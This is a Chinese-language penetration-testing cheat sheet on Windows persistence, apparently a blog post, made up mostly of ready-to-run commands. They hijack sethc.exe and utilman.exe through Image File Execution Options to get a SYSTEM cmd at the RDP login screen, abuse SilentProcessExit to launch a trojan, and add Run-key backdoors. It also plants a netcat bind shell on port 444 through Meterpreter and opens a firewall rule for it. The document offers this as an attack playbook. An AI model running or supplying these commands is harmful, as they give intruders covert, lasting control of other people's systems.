WEB渗透权限维持篇-映像劫持

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Sethc

>move sethc.exe 1.exe
>copy cmd.exe sethc.exe
5下shift调用cmd

轻松使用

注册表
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
新建Utilman.exe，新建字符串值Debugger,指定为C:\Windows\System32\cmd.exe
> REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

IFEO静默执行

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe 新建DWORD值GlobalFlag 16进制为200
创建：计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe字符串值：MonitorProcess=muma.exe
DWORD值ReportingMode=1
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1  /f
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

注册表启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
>reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
使用SharPersist
>SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
>SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
>SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

MSF

添加一个监听
Meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'
查询是否添加成功
Meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Meterpreter> reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
开启防火墙进站规则
> netsh firewall add portopening TCP 444 "name" ENABLE ALL
重启
> shutdown -r -t 0

CMD

查看注册表启动项
>REG query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
添加启动项
>REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /t REG_SZ /F /D "c:\windows\temp\update.exe"
删除启动项
>REG delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "windowsupdate" /f

GlobalFlag

notepad进程结束后执行后门
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

RDP后门

RDP登录界面按Windows 键+U，获得一个SYSTEM权限的 cmd.exe 
>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
在 RDP 登录屏幕时按多次 F5 
>REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f